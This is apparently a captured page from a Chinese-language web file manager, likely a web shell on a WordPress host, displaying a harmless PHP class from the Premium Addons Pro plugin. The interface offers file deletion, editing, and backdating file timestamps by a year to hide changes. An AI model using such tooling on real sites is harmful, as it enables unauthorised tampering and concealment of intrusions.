文件操作 - module-base.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/rokpawnew/public_html/wp-content/plugins/premium-addons-pro/base/module-base.php
编辑文件内容
<?php namespace PremiumAddonsPro\Base; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } abstract class Module_Base { /** * @var \ReflectionClass */ private $reflection; /** * @var Module_Base */ protected static $_instances = array(); public static function is_active() { return true; } public static function class_name() { return get_called_class(); } /** * @return static */ public static function instance() { if ( empty( static::$_instances[ static::class_name() ] ) ) { static::$_instances[ static::class_name() ] = new static(); } return static::$_instances[ static::class_name() ]; } public function __construct() { $this->reflection = new \ReflectionClass( $this ); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件